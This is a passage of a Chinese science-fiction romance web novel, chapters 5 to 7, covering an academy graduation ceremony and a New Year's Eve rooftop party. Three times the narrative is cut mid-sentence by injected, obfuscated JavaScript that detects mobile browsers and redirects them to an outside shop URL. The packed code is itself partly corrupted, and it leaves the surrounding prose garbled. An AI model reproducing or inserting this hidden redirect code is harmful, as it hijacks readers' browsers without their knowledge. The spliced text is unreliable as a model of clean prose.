骤雨最初出现在低纬度地地区,没有人意识到这只是开始,持续数十年的极端降水几乎没有明显的季节间断,全球河流泛滥,海平面抬升,历史上曾稳定存在的城市群逐步沉没,而随着海洋热膨胀与融冰叠加,大量沿岸文明也开始消失。 在无情泛滥的洪水中,人类社会第一次经历了真正意义上的大规模地理迁徙。 5.Chapter5 “城市并不是一瞬间毁灭的,”纳特的声音清楚地传遍了纪念堂的每个角落,脸上带着十足的耐心,似乎并不在乎坐下的学生已经将这段历史听了无数遍,说:“我们在几十年间被迫后撤、重建,再放弃,留存的资料记载,那是一段社会系统持续崩塌的时期,所有资源被水体切断,通信中断,工业体系失效。” 所谓文明,再这片漫长的雨季中显得无比脆弱。 “当传统陆上交通无法继续维持时,人类开始重新依赖海洋,原本承担军事任务的船舰被改造为避难、运输和能源储存的平台,成为最早的‘移动城市基础’。” “对于当时的人们来说,活着就意味着漂浮,他们在海上寻找新的陆地和同在漂泊的同类,也在海上保留着仅剩的文明痕迹。” 后来的人们将那段时期称作寒叠季洪积事件,更通俗的说法,也叫做雨上纪元。 雨季结束之后,人类已经完全不同了。 “漫长的降水在数十年后逐渐停止,大气系统恢复到可预测的循环,当人类从海上移动基地返回陆地时,他们发现全球的版图已经彻底改写。” 原本的洲际轮廓变得模糊,许多旧大陆被吞进了新海域,只有欧亚大陆的中部板块上仍存在一片没有被摧毁的到不可居住的陆地,这里地势较高、海侵影响有限,成为幸存者最终汇集的地方。 大量来自不用语言、不同文化、不同政治体系的人类被迫挤在了在同一片土地上,旧时代的国家制度在漫长的迁徙中全面瓦解,没有哪个政体能继续统治曾经属于自己的人民,地图上所划分的疆界也变得毫无意义。 尽管最初的混居带来了贸易与技术交流,但很快就演变成对资源与土地的争夺,渐渐的,原有国家的概念被重新划分为“区块”,每个区块根据语言、族群、资源种类或共同利益自行组织管理,名义上自治,实际上在经济和生存层面仍旧互相依赖。 自此,城市在断壁残垣间开始重建,所有基础设施从零开始,二十六个字母和古老的汉语凭借着其原有的广泛传播和独特的表达性留存了下来,成为了区域与区域之间最初沟通的桥梁。 等到陆地重新占据人类社会的中心后,最关键的一件事就是和重新与轨道空间站取得联络,空间站在灾难来临前长期执行着科研项目,储存着完整的植物种子库与动物基因样本,本来只是科研设施,却在雨季之后变成了决定文明延续的关键。 与地球失联几十年,空间站仍保持着最低能源运转,当通讯重新接通,它成为了新世界最珍贵的资源库,尽管那些基因样本并不是马上能恢复生态,可它给了人类一种错觉,也许一切还能回到原来的样子。 可文明从不原路返回。 “人类在这场巨大的灾难后依旧没有认识到人类命运共振的重要性,被迫划分的区块不成体系,没有制度,所维持的脆弱平衡自然很快就被打破了,为了淡水、耕地、电力、基因样本甚至历史叙事权而屡屡爆发冲突——持续的战争就像是一场看不到尽头的试探与反扑,迅速消耗着勉强积累起来的生存资本。” 最终,在经历了近百年的对抗与谈判后,人类终于意识到他们不能再坚持旧世界的边界,于是,旧联邦政府就在这样的背景下被迫诞生了——尽管它在运转期间存在着数不清的弊病,甚至它的出现也不是为了统一,但它还是给人类带来了短暂和和平与希望。 “旧联邦成立后,战争暂时停止,但文明还是没有像大家想的那样回到曾经的高度,大量的知识在迁徙、洪水和区块冲突中遗失,某些学科几乎断代,尤其是历史人文与基础学科,人们能维持工业、基础能源与通讯体系,可旧世界的文化传承像是真的被水冲刷过一样,只剩下断裂的片段。” 整整一代人无法理解旧时代的思想、艺术与哲学,他们能够复原机器,却无法解释文明曾经走到哪里。 这时候,他们只能将目光重新转向海底。 那片广袤的、深邃的海面之下,埋葬着人类漫长的雨前文明。 大量的城市、档案馆、科研机构……这些遗迹里可能保存着文明最完整的证据与资料,深潜工程逐渐成为国家层面的长期计划,一批又一批的人往返着陆地和海底,就像走进一个已经关掉灯光的家,固执着寻找着自己曾经拥有但早已丢失的东西。 与此同时,也有一批人拒绝向旧世界回头。 他们认为文明崩塌本身就是人类传承的失败,如果继续执着于历史,只会重蹈覆辙,于是他们把目光投向轨道之外,试图把空间站作为起点,把地外轨道作为未来,他们相信只有地外的资源、空间与新的生存环境,才能给人类带来真正的重生。 “或许有人觉得这是一种对立,但我不觉得,毕竟他们的目的地是相同的,每个人都觉得自己才是在人类文明的废墟上继续前进的那个人。” “严谨一点,我姑且认为这是同一条路上的分歧,深潜说相信过去必须被理解,而地外说则认为过去应该被放下,”纳特慢慢走下了讲台,站在学生中间,和他们一起注视着讲台上巨大的全息字体,道:“走到今天,我们知道历史已经做出了选择,可同样,我们所付出的代价也是沉重的。” 深潜工程被叫停后,旧联邦的科技进入了高速发展的阶段,行政体系也开始向标准化、严密化转变,新联邦就此成立,与之一同建立的还有兰格利亚联邦学院,旨在为联邦政府输送最尖端的人才。 “今天在座的各位,也包括从兰格利亚联邦学院毕业的我,在这个年纪都没有想过自己要面临的是什么——我知道我现在说这些或许很扫兴,”她眨了眨眼,露出一个顽皮的微笑,说:“你们都已经想好了今天的毕业晚会要怎么过,入职后的第一笔薪酬要拿来买什么,可我却在这里和你们讨论死亡这种话题,简直不可理喻。” “但我还是想说,联邦的历史已经反复证明一件事,文明的断而再续势必会造成死亡,尤其是面临转折点的当下,你们从学院进入联邦政府,所要面对的就不再是考试、演习、或者全息屏幕,而是真实的一切。” “你们会被要求评估风险,会被要求签字,会被要求在时间不足、信息不全,甚至后果无法逆转的情况下做出决定……如我所经历的,这仍旧是一个需要流血和牺牲的时代,我想至少未来二十年依然会是这样,战争和死亡从未远去,离我们也并不遥远。” “要学会直视它。” 她重新在讲台上站定,巨大的全息字体随着她的挥手而消失。 “你们是联邦的未来,而这些,是我能教给你们最宝贵的东西。” “我的课讲完了,”她唇畔挂着清浅的微笑,对着下方微微欠身示意,说:“谢谢大家。” ———————————————————— 即便今天的课程如此沉重、深奥,甚至有些莫名其妙,但依旧没有抵挡住学生对纳特教授本人的热情,看着前方一拥而上索要签名或合照的同学,裴千诉自顾自地撑着下巴思索,很费解地问:“为什么纳特教授说的每一个字我都知道什么意思,加在一起我就完全听不懂了?” 一旁的商雪繁赞同地点点头,最后得出一个结论,说:“可能是在说我们也是历史的一部分吧。” 安全与风险学院的学生和其他学院有本质区别,所接受的更类似于军事化管理,尤其是战术与行动系,他们在校期间就参与过很多次救援活动,死亡教育也是必不可少的,或许正是因为这样,才让他们对纳特教授的话没有产生过多的感触。 裴千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948287|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉又摩挲着自己的下巴想了一会儿,目光瞥到前面排了好一会儿队依旧被挤在人群外围的卫停,啧了一声站起身,随口嘟囔道:“蠢吗?” 这一边,卫停正抱着本子眼巴巴地从人群的缝隙间朝里面望,突然感觉自己的领子被用力拽了一下,回头一看,发现是裴千诉,问:“你怎么来了?” 她不是对纳特教授完全不感兴趣吗? 正说着话,旁边的人就想趁机硬挤过来,卫停下意识的退了半步,被裴千诉按住肩膀定在原地。 Alpha单手插兜,一脸警告地看着对方,说:“你再插个队试试?” 对方飞速瞥了一眼她胸前的名牌,显然认出了她是谁,犹豫半秒,默默往右边躲了两步。 有了裴千诉的帮忙,卫停总算在纳特教授离开前要来了一张合照,坐回位置上后捧着终端看了又看,裴千诉笑他,说:“至于?” 他弯弯唇角,也不生气,说:“谢谢你呀,千诉。” 裴千诉并不在乎,挺敷衍地说了声小事,扭过头去继续和梁峭有一搭没一搭地说着话。 …… 纳特教授离开后,堂中的秩序终于得到恢复,后面的流程肉眼可见地快了起来,被邀请来授予铭章的校友陆续入了场,大多数人都穿着能表示身份或职级的正式制服,也有少数不看肩章就能被认出来的重量级人物。 堂中渐渐安静了。 院长王与物上台进行了简短的发言,宣布授予仪式正式开始,很快,几个机器人就拿着毕业生的定制铭章站在了讲台一侧,受邀授予的校友和学生也站了起来,在学院老师的指引下走向讲台。 接受授予的顺序按照毕业考核的排名,两组为一个单位进行,裴千诉站起来的时候很难受地看了一眼不远处同样起身的盛扶周等人,脸上的痛苦几乎要溢出来。 “一想到我人生中最重要的一个瞬间里有这个智障的参与我就很难受,”裴千诉全身都在抗拒,提醒离她最近的梁峭和卫停,说:“等会儿你俩靠他们站啊,我宁愿从学院塔上跳下去也不会和他站在一起。” “好。”卫停小声地答应。 只可惜有时候越不想发生什么就越会遭遇什么,一上台,负责指引的老师就先锁定了两个组长,示意他们站到十个人的最中间,两个人相看两厌地对视了一眼,竭力克制着情绪才勉强站在了一起,中间的距离还能站进一个梁峭绰绰有余。 裴千诉心如死灰地说:“我真的要从学院塔上跳下去了。” 梁峭默了默,安慰道:“放心,我会接住你的。” 这是重点吗?! 给他们授予铭章的是联邦公民安全局现任局长江长青,他从右侧走上来,将深蓝色的金属铭章仔细佩戴在每个人的胸前,看向他们的眼神十分欣慰,到合影环节的时候他站在裴、周二人中间,甚至还握住他们的手放在了一起。 在场所有知晓两组人关系的老师和学生都沉默了,抠紧脚趾看着这一幕,生怕两人当着局长的面动起手来。 好在二人还是顾全大局的,一直到合影结束,预想中的爆发也没有到来,台上完全一片和平的景象。 嗯,真是和平—— 裴千诉死死咬牙露出一个微笑,指甲深深地陷入某人的手背,只有完全不知情的江长青依旧笑呵呵的,下台的时候还鼓励地拍了拍二人的手臂。 趁着他回头,盛扶周举起那只流血的手在背后恶狠狠地向裴千诉比了个辱骂的手势,对方挑挑眉,回了一个十分挑衅的眼神。 短短十几米的距离,两人在暗流涌动中氛围中厮杀了几百个回合,而另一边无人在意的队尾,楚洄不知道什么时候走到了梁峭身边,轻轻抬起垂在身侧的手指,在她的手背上暧昧的划了划。 6.chapter6 从早上起床看着梁峭穿上制服的那一刻开始,楚洄就一直觉得自己有点莫名其妙的心痒,安全与风险学院的制服与他们略有不同,但依旧以深蓝色为主调,内衬洁白的领口整齐地立着,金色绶带从肩头垂落,从挺阔的肩膀到腰际再向下,流畅的线条如山脉的脊线般利落分明。 再走近一点,就能看到衣服上暗银的织纹,像是流星划过夜空的余痕,衣襟在胸前形成一个挺阔的V字,泛着银光的金属扣从最上面一路严谨地排列下来,收近紧实的腰线里。 明明是一样的衣服,但穿在梁峭身上却有一种说不出的秩序和张力,看了好几眼,楚洄才意识到自己的眼神实在太过赤.裸,用力咬了咬颊侧的软肉,垂下眼睫。 这回视线范围里只有她骨节分明的手了,随着步伐微微摆动,在三三两两的人群里若隐若现,他目不转睛地看着,又不由自主地想起昨夜这只手是如何地探索自己的身体。 ……啧。 或许是因为临时标记的缘故,又或者是早上作别时没有亲到她,总之他实在是收不回自己乱飘的思绪,视线就像是粘腻的触手一样死死吸附在她身上,促使他走上前去触碰她的身体。 她微微转头,压在帽檐下的眉眼透着几分疏冷,在一片浅淡的阴影中望了过来。 等盛扶周等人发现楚洄不见的时候,他已经如愿亲到了穿着制服的梁峭,隐秘的水声被信息素处理室超高标准的隔音门杜绝其中,alpha斜斜地倚在门边,刚刚还在他视线里晃荡的手正半楼着他的肩膀。 他越亲越不够,腻腻地叫了两声梁峭,伸手去摸她的脸,说:“喜欢死你了。” 他的表白就像吃饭喝水一样频繁,梁峭一开始听到还会脸红,现在已经完全习惯了,轻轻嗯了一声,低下头继续亲他的嘴唇。 又亲了好一会儿,梁峭略略蹙眉,问:“是不舒服吗?” 他今天的热情有点超出平常的尺度,让她有点担心他的身体,指腹沿着着他后颈的抑制贴摸了摸,说:“是不是昨天……” “没有,”楚洄否认她的猜测,坦然道:“单纯想亲你。” 梁峭还是不放心,说:“昨晚你还说……” 她没办法面不改色地复述出他求饶的话,只能用沉默以代,楚洄听明白她的未尽之意,弯唇笑了笑,说:“骗你的,其实爽死了。” 梁峭:“……” 梁峭闭嘴了。 许是看出她沉默下的那一丝无奈,楚洄更是忍不住眼中的笑意,双手环抱着她的肩膀,说:“再亲一下。” 梁峭没动,等着他吻向自己,就在双唇即将相触的那一刻,手腕传来了轻微的震动声。 她动作一滞,低头想去查看,却被一只手托住侧脸转回来,楚洄贴紧她的嘴唇继续着这个欲断不断的吻,说:“别理他。” “该回去了。” “嗯,”楚洄答应归答应,但并没有任何要和她分开的意思,一双柔柔的桃花眼紧盯着她,突然说:“今天毕业了。” 梁峭说:“嗯。” “那我们什么时候告诉他们。” 他其实也不太在意说不说的事情,毕竟人前装不熟也不影响他们晚上走进同一间房睡在同一张床上,只是毕业之后两个人的见面时间肯定会少很多,他可不想好不容易见个面还得像现在这样,就连接个吻都要躲进信息素处理室。 梁峭说:“你决定。” 听到这个回答,楚洄翘了翘嘴角,牵紧她的手,故意道:“那等一下出去就说。” 她没什么异议,说:“好。” 楚洄问:“你不怕?” 她眼里浮现出一丝疑惑,显然是在问怕什么。 楚洄说:“裴千诉肯定要说我坏话,说不定还会问是不是我勾引的你,你才会和我在一起。” 他的本意只是撒娇玩笑,毕竟他从没把别人的态度放在心上,当时决定隐瞒也只是怕太多人知道麻烦,但梁峭不知是没听出来还是怎么,反而平静自若地说:“不是,是我追的你。” “哈……”楚洄显然被这几句话哄得十分高兴,忍不住又亲了她好几下,说:“算了,还是顺其自然吧,不然最后一天还要被他们问东问西的。” 他变来变去,梁峭也好说话地点点头,伸手将他微乱的额发向后理了理,楚洄抓住她的另一只手往腰后去,说:“腰痛死了,今晚换我在上面……” 未尽的话语被梁峭眼疾手快地堵在唇间,楚洄眼睛一眯,顺势亲了亲她的掌心。 ……有时候真的拿他没办法。 …… 回到纪念堂的时候,授予仪式还在进行,朝野一回头看到他,问:“你刚刚去哪了?” 楚洄跟着一起鼓掌,面不改色地说:“吃饭去了。” “哦,”朝野很轻易地接受了这个说法,说:“我也有点饿了,晚上我们去哪?” 今天是12月31日,除了是兰院的毕业典礼外还是跨年夜,每年这个时候兰度双子塔都会举办跨年活动,有非常漂亮的烟花和全息灯光秀,其塔顶的蓝色纪念灯就是为了庆祝兰格利亚的毕业年,所以每年都有很多学生不去参加学院的毕业晚会,转而到这里庆祝。 “位置已经约好了,特列吉尼中心的屋顶花园,”楚洄说:“你不参加晚会的话就一起去。” 朝野点头答应,说:“好啊,我对晚会没什么兴趣。” 毕业晚会就在学院塔的塔顶会议厅,今天参与授予仪式的校友也都会参与,尽管今天的主角是这些毕业生,但比起为他们欢庆,其真正的性质更像是一场权利交流会,没有背景的学生大概只能在这里解决一顿自助晚餐,甚至没什么说话的余地。 授予仪式进行了一整个下午,快结束的时候,梁峭也回到了纪念堂,院长王与物正在台上进行最后的发言,堂中原本冷白的灯光不知何时变得十分绚烂,斑斓的色彩次第划过每一个人的脸庞。 “……恭喜大家顺利毕业,未来不论你们走到哪里,兰格利亚都会是你们永远的后盾和荣光,”他举臂高呼的是立校伊始传承至今的校训,声音铿锵有力,道:“真理之风永远吹拂!” “砰!”随着他的话音落下,无数蓝白色的彩带从穹顶倾泻而下,磅礴的音乐也随之响起,众人的欢呼声冲破堤坝,排山倒海般掠过整个纪念堂,掌声、笑声、呐喊声,像无数条喧腾的河流,一起汇入这片壮阔的海洋。 梁峭站在后方看着眼前这一幕,唇角也不自觉地弯了弯。 昨天这个时候她还在旧三区参加最后的徒步训练,现在却穿着制服站在这场欢腾的庆典中央——一切都显得那么不真实,直到盘旋的彩带落在她身上,她才意识到自己也成为了这场欢庆中的主角。 “梁峭!你去哪了?快来拍照!” 终于捕捉到她身影的裴千诉穿越人群走到她身边,被调整成适宜大小的屏幕浮现在众人面前。 商雪繁跟着走过来,姿态闲适,率先站在了梁峭身侧,余阅则一左一右地环住两个人的肩膀,把自己的脸挤进她们倆中间。 “卫停,过来!”见卫停还在不远处的人群中艰难地穿行,裴千诉一把将他拉到身边,毫不客气地勾住了他的肩膀。 “别愣了,看前面!”她不耐烦地打断了他的怔愣,对着镜头露出了一个张扬肆意的笑。 “***终于毕业啦!” 漫天飞舞的彩带在此刻定格,留下了3795年的冬天和年轻人意气风发的脸庞。 ———————————————————— “梁峭,你要去参加晚会吗?” 拍完照,众人三三两两地聚在一起说话,听见余阅问,梁峭没有多加思考就摇了摇头,刚刚跑到一旁接通讯的裴千诉兴致冲冲地跑过来,说:“刚刚约到了特列吉尼中心的屋顶花园,那里可以直接看到双子塔,一起去吗?” 这个地方算是兰格利亚毕业生的保留项目了,每到毕业年就挤满了前去庆祝兼跨年的学生。 商雪繁犹豫了片刻,笑着说:“我和余阅约好了要去参加晚会。” “啊,不一起吗?今天可是我们最后……”她话没说完,袖子就被一股力道轻轻扯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968384|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,一向不怎么说话的梁峭难得主动开口,说:“嗯,你们想来可以随时联系我们。” “好。”他维持着笑容点点头,简单的作别后就和余阅一起并肩走出了纪念堂,裴千诉看着他们的背影,有些失落地说:“不是说好要一起跨年的嘛。” 说着,她又瞥了一眼身侧的卫停,问:“你不会也要去参加晚会吧。” 卫停赶忙摆摆手,说:“我和你一起。” “这才对嘛,”她的情绪来得快去得也快,很快就高兴起来,一手揽着一个往外走,说:“走走走,我们今晚不醉不归!” …… 特列吉尼中心是兰度最繁华的商业街,高密度的建筑群簇拥着最中央的联邦双子塔,一块块大小不一的全息屏幕上不间断地跳动着新闻、广告或者一张张精致的脸庞。 大屋顶是其中一幢建筑的代称,得名于它顶层视野极佳的空中花园,可以纵观整个兰度的夜景。 今天是跨年夜,街上的人只多不少,几人踏进悬梯,弧形的高透明窗外是灯火通明的高楼,随着悬梯上升,建筑一层层地从眼前划过,直至整个兰度都被收尽眼底。 目眩神迷。 只有这一个词能形容当下的状态。 梁峭平常的生活堪称枯燥,除了读书训练就是参加比赛,当然也很少来这种地方,但此时此刻站在这里,她居然感觉还不错——联邦双子塔触手可及,特列吉尼大街永远人潮汹涌,从绿意蔓延的飞信公园到庄严矗立的纳达尔号纪念碑,道路编号层层递进。 自数百米高空倾身俯瞰,万千窗格化作点点星光,交错的道路织成发光的蛛网,鼎沸的声浪开始降落,人声车声全部远去,整个城市变得恢弘而寂静。 梁峭真切地感到一种近乎为之倾倒的眩晕。 身旁的卫停轻声说:“双子塔亮灯了。” 她仰头去看,两座尖塔同时亮起了深蓝色的灯光,以此纪念兰校五年一次的毕业年,明亮的灯光在黄昏的映衬中显得格外震撼动人,裴千诉拍了几张照,又一次感叹道:“终于毕业了。” 嗯,终于毕业了。 21岁的年纪正当时,或许还不适合回忆青春,但梁峭还是不由自主地想起了五年前第一次从旧三区踏入兰度的自己。 比起旧三区不断重建的危房,兰度的繁华远超出了她的想象,几年时间,她在鳞次栉比的楼影和狭窄的训练仓里寻找稀缺的氧气,在一场接着一场的格斗和比赛中获得喘息之机,孤独一向是她最好的朋友,她也习惯于在熟悉的寂静里拆解着挫败,疲惫和迷惘,甚至从未有想过自己未来到底会走到哪里,直到此刻。 直到此刻。 叮—— 悬梯到了,几个小时前还和她躲在信息素处理室接吻的人骤然出现在了眼前,她迈步走出梯门,听见裴千诉近乎崩溃的质问:“你怎么在这?!” “我还没问你怎么在这呢!” 熟悉的吵架声又来了,出去玩都能意外遇见死对头这种事谁也不想发生,但大概是知道他们不会在这种地方动手,所以大家并没有多加阻拦,原本靠在栏杆边看日落的楚洄和她对上视线,忍不住弯起唇角,偷偷朝她眨了眨眼睛。 梁峭眼中荡开点笑意,放在口袋的手指微微蜷缩,试图缓解不知道从哪里升出来的痒意。 屋顶花园一共分了四个区,几乎全是兰格利亚的校友,众人一拍即合,给一旁的服务机器人下达指令,让它把原本独立的餐桌全都拼到一起。 也不管认不认识或是见过几面,反正穿了同一件制服的就是朋友,都知道彼此从入学走到毕业有多不容易,或许他们还有很多事情要去想,但那又怎样,未来如何不用此时此刻的他们去担忧,至少今天他们可以肆无忌惮地放纵。 大家兴致勃勃地点了一堆菜和酒,满满当当堆了一桌,裴千诉死都不和盛扶周坐在一起,换了几次座位,倒是让楚洄如愿以偿地坐到了梁峭身边。 等真正坐下来,他才有点后悔——早知道白天的时候就告诉他们了,否则现在还得拼命忍着不去牵她的手。 7.Chapter7 梁峭正在和裴千诉说话。 楚洄喝着杯中的酒,时不时地瞥她一眼,垂在身侧的手臂微微晃动,状似不经意地碰到她的凳沿。 她的手随意地搭在腿上,离他只有十公分的距离,垂感极好的餐布垂下来,触碰到两人的膝前。 那边卫停正在问:“你怎么会这么讨厌盛扶周。”语气里还有点哭笑不得。 裴千诉理所当然地问:“难道他不该讨厌吗?” “其实……”卫停仅仅犹豫了半秒,裴千诉就抱着手臂眼神危险地看着他,他只好转了话风,道:“……该。” 梁峭很难得地插了句话:“除了盛扶周呢?” 裴千诉扭过头来,问:“什么?” 梁峭说:“除了盛扶周的其他人,你也很讨厌吗?” 裴千诉不太明白她突然问这句话的意思,但她看清了她身侧坐着谁,立刻露出一个理解的表情,压低声音说:“你是不是不想和楚洄坐一起,让卫停和你换。” “……” 所有准备好的后话被她真诚的目光堵在喉间,梁峭一时无言,道:“……我不是这个意思。” ……算了,还是等她发现了再给她解释吧。 她向来粗枝大叶,见梁峭不说了也不追问,直接启开了手边的酒瓶,几杯酒下肚就愈发滔滔不绝,开始和卫停说自己训练的事情,道:“从明天开始我就把自己锁在家里睡觉,从训练完到现在我都没停过。” “你知道我特训被安排到哪了吗?旧北啊!旧北!昨天交了报告我半夜才到家,我要晕过去了!” 她口中的旧北全称旧北工业区,和旧河谷区、旧海岸合称为旧三区,城市不多,环境污染严重,区域功能主要在废旧工业再利用、重金属拾荒和能源残骸处理几个方面。 一旁的卫停问:“听说旧北工业区治安不太好,真的吗?” 裴千诉说:“有点吧,那边限电严重,又靠近旧海岸,走私和黑市交易一直很猖獗,不过我们参加训练的基地离城市比较远,所以没去看过。” 卫停说:“是不是很辛苦?” “是啊,”裴千诉根本不想回忆那三个月,想要骂但又不知道从哪骂起,憋了好久,最后吐出两个字:“非人。” 卫停担心地问:“你受伤了吗?” “受伤都是其次的,那简直是精神折磨,”裴千诉压低声音,咬牙切齿地说:“你知道那个alpha抗压测试有多恶心吗,连熬三天不让你睡觉,然后在你精神最衰弱的时候把你关进禁闭室,还要给你放最高浓度的omega信息素。” 其实他们在学校里训练的时候也会有类似于这样的抗压测试,但从来没有这么大强度的,用于测试的信息素浓度也一般会控制在15%以内,甚至还会给他们一点预告或准备。 见她表情十分难受,卫停心口也跟着紧缩了一下,但他是beta,无法理解这种测试所能给alpha造成的折磨,抿了抿唇,想说却没说出话。 裴千诉见他的表情似有抱歉,又毫不在意地拍了拍他的肩膀,说:“哎呀,都过去了,你非要问我才讲的,其实也还好,这个信息素浓度是我们自己抽签的,我才抽到15%,熬一熬就过去了,梁峭才倒霉,抽到75%。” “啊?”卫停越过她看向梁峭,说:“肯定很难受吧?” “就是啊,”裴千诉抬臂搂住她的肩膀,接话道:“我们梁峭都没怎么接触过omega,突然来这么一下可不得难受么,我看到有几个抽到50%的alpha出来的时候都吐了。” “其实我……”梁峭欲言又止,面对她关切的目光,也只能说:“……还好。” ——毕竟某个坐在她身边的omega已经用鞋尖蹭了她小腿好一会儿了。 可惜裴千诉不信,认定她是时过境迁后装作游刃有余的说辞,她没有多解释,放下酒杯时,用余光扫过一旁的楚洄。 她自认为是警告的意思,但楚洄不知道曲解成了什么,挑了个眉后还得寸进尺起来,鞋尖缓缓向下游走,直接撩开了她的裤腿。 梁峭:“……” 有时候真的挺想报警的,但又怕来的是同学。 环境实在不利于动手,她也只能放任了他,默默地坐在席间,时不时地和裴千诉说两句话。 不知坐了多久,不远处的双子塔乍然亮起了灯,立刻吸引了所有人的目光,有人看了一眼时间,说:“马上零点了!还有十分钟!” 闻言,吃饱喝足的众人纷纷往栏杆边上走去,楚洄本想趁机和她说句话,结果刚站起来就被朝野拉走了,梁峭迟滞了半步才起身,垂下手,将自己新倒的果汁和楚洄的酒杯调换了一个方向,随后握着杯沿迈向了人群。 人类经历了漫长的漂泊时代,很多文化都随着洪水的漫涨不见了踪影,但统一的历法还是流传了下来,1月1日成为了统一的联邦新年,附带赠送15天的带薪假期。 还有不到十分钟的时间,特列吉尼中心已经被挤得水泄不通,从上方往下望,宽阔的十字街道上人头攒动,无数玻璃幕墙与钢铁骨架交错堆叠,像是巨大的光感积木,一路铺展到视线的溶解点。 新年这天大概是联邦灯光最亮的时候,视角里几乎没有一座全黑的建筑,每座楼宇的轮廓都被光彩夺目的霓虹灯精准勾勒,无数道各色的光流在楼峡中蜿蜒,最后在他们脚下汇成汪洋。 很快,钟声响起,视线内的灯光缓缓熄灭,楼群之间升起了巨大的全息投影,一颗种子在双子塔下凝形,转瞬之间生长出小苗,枝干。 树叶由亿万光点织成,在夜幕中放肆地舒展,所经之处洒下星尘般的碎光,最后达到双子塔顶,生长为一颗遮天蔽月的巨树,紧接着,巨树散做纷飞的数字与符号,重组为地球的影像,大陆轮廓清晰如绘,被柔和的光晕包裹。 最后十秒钟的倒计时开始了。 人群的声浪自下方蒸腾而上,化为浑厚的背景嗡鸣,所有的灯光变成了脉搏,随着数字的变化同步明灭。 身旁的人跟着一起呐喊:“十、九、八、七……三、二、一!” 数字归零的一刹那,世界仿佛屏息了一帧,下一秒,双子塔的顶端同时迸发出了一簇巨大的光束,顷刻间照亮了每一个人的脸庞。 两座高塔中间出现了一座被烟花搭出的桥梁,无数璀璨的流星在桥上逆向穿梭,碰撞出层层叠叠的光环,共同组成一个个规律又震撼的图案,所有人看着眼前这一幕,都不知不觉地沉浸其中,直到一道纯白的光弧缓慢扫过天际,无数密集的光束在他们眼前汇聚交织。 光束凝结成了一颗巨大的心脏,隐约能从它剔透的表面看见内里,万千细小的光粒沿着血管般的路径奔流,好几秒的时间,这颗心脏就这样悬挂在夜空中,像一轮火红的太阳,将整座城市映成温暖的金红色。 然后,它温柔地内爆了。 所有的光流向内坍缩,再无声地扩散开,无数微小的光点缓缓从高空飘落,触碰到建筑表面,街道,人们的脸颊,再恋恋不舍地熄灭。 短暂的安静过后,炫目的灯光被再次点亮,下方的欢呼声也瞬间形成了浪潮,许多人对着联邦双子塔举杯欢呼,大喊:“新年快乐!” 大家匆匆跑回桌边端起酒杯,碰杯时的叮当声很快响成一片,裴千诉和卫停喝完,又四处寻找梁峭的身影,左右找不见,最后越过人群,发现她正一个人支着手臂斜倚在栏杆边上,身后城市流光溢彩,一片恢弘。 几道目光在夜风和光流中相触,她朝这个方向轻轻举了举杯,唇畔含着一丝似有若无的微笑,无声地说:“新年快乐。” 新年快乐。 …… 不对,怎么是果汁。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987348|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ———————————————————— 零点过去,这场聚会也到了尾声,众人依依惜别,三三两两地凑在一起说话。 裴千诉一早就喝多了,坚持到零点都是勉强,被同一个宿舍楼的同学顺带捎回了学校,卫停倒是没喝多少酒,但他惦记着自己还没做完的试验,也跟着裴千诉一起走了,梁峭又坐了一会儿,看向不远处的楚洄。 两人靠一个眼神达成了离开的共识,但一旁的盛扶周见他起身,立刻道:“你要回了?” 楚洄随口应了句,和朝野碰了杯,把最后一点果汁喝完。 “不是,我发现你最近一年就特别不对劲,”盛扶周说:“经常找不到人就算了,还总是不在宿舍,你老实说你背着我们干什么了?” “滚,”楚洄懒得搭理他,说:“我以前也没有经常回宿舍好吧。” 盛扶周说:“以前做实验做烦了还会和我们一起出去玩,现在做实验做烦了把东西往宿舍一丢就没影了。” “少管我,”楚洄说:“控制欲犯了就喝点抑制剂。” 几人说话的这一会儿时间,梁峭已经走到了悬梯门口,楚洄用余光瞥了一眼,一个穿着材料学院制服的女人磨磨蹭蹭地走到了她身后,扬起笑脸,仰头说了句什么。 “不和你说了,下次约。”尽管乍一眼看不出性别,但楚洄对任何人的警惕性都十分高,匆匆作别后就朝悬梯走去,只是等他走到能听见声音的地方,两人已经说完话了,那个女人露出一个失望的表情,说了句:“好吧。” 梁峭没再回答,抬步走进了打开的梯门,那女人看样子也要走,但没和她一起,眼见梯门即将关上,楚洄也管不了太多,加快脚步闪身躲了进去。 “楚洄怎么进去了,”毕竟两组人在外人眼里一直是水火不容的关系,看见的人都多少有些疑惑,嘀咕道:“他们俩不会打起来吧?” “应该……不会吧,”有人回答:“那个梁峭看起来情绪挺稳定的。” “这不毕业了嘛,”有人看了一眼还坐在原地的盛扶周,说:“早上不是还说要新仇旧恨一起算。” 